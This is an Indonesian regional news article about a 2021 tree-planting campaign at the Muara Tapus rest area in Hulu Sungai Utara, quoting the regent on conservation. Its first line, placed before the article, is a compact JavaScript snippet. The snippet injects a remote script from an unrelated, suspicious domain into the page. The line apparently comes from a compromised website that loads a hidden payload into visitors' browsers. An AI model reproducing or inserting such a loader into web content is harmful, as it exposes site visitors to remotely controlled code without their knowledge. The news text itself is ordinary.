(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Aksi Tanam Sejuta Pohon di Rest Area Muara Tapus

KANALKALIMANTAN. COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Abdul Wahid HK berharap masyarakat terus berupaya melestarikan lingkungan dengan cara menanam pohon di tempat tinggal masing-masing.

Hal ini diungkapkan Bupati Wahid saat aksi serentak penanaman sejuta pohon se Kalsel, di kawasan rest area Muara Tapus, Kecamatan Amuntai Tengah, bersama pejabat Forkopimda, Pramuka dan komunitas hijau Rarawa Kabupaten HSU, Jumat (9/7/2021).

“Hari ini Pemerintah Kabupaten Hulu Sungai Utara bersama Kodim 1001 Amuntai-Balangan, Polres HSU, Kejaksaan Negeri HSU, Pengadilan Negeri Amuntai, Pengadilan Agama Amuntai, kemudian organisasi masyarakat yang peduli dengan pelestarian lingkungan melanjutkan penanaman sejuta pohon serentak di Provinsi Kalimantan Selatan” kata Bupati Wahid.

Menurut Wahid, aksi penanaman ini merupakan kegiatan kali kedua dilakukan setelah sebelumnya dilaksanakan di kawasan Kompleks Candi Agung Amuntai.

“Kita seluruh komponen yang peduli dengan pelestarian lingkungan melaksanakan penanaman pohon, pohon yang bermanfaat bagi masyarakat dan pohon yang ditanam ini adalah pohon jenis buah yang jadi akan memberi manfaat di kemudian hari, selain juga berdampak bagi pelestarian lingkungan,” ujarnya.

Selain itu, Bupati Wahid berharap kegiatan ini dapat menjadi motivasi bagi seluruh lapisan masyarakat agar turut serta menjaga lingkungan

“Kegiatan penanaman pohon ini memotivasi seluruh lapisan masyarakat untuk bersama-sama menanam pohon di rumah masing-masing, sebagai bagian dari partisipasi kita menyukseskan program Kalsel hijau dan pelestarian lingkungan hidup kita,” imbuhnya.

Bupati HSU juga memberikan apresiasi kepada masyarakat yang selama ini turut serta melakukan gerakan penghijauan.

Apa yang sudah dilakukan masyarakat selama ini akan berdampak luas bagi pelestarian lingkungan di kemudian hari, bukan hanya sekedar simbolis saja, tapi menjadi bagian dari dinamika kehidupan masyarakat sehari-hari.

“Mudah-mudahan apa yang menjadi harapan kita, lingkungan kita, semakin baik semakin lestari, hijau, dan kegiatan ini akan menjadi pendukung bagi pelestarian alam,” pungkasnya.
(kanalkalimantan.com/dew)

Reporter : dew
Editor : bie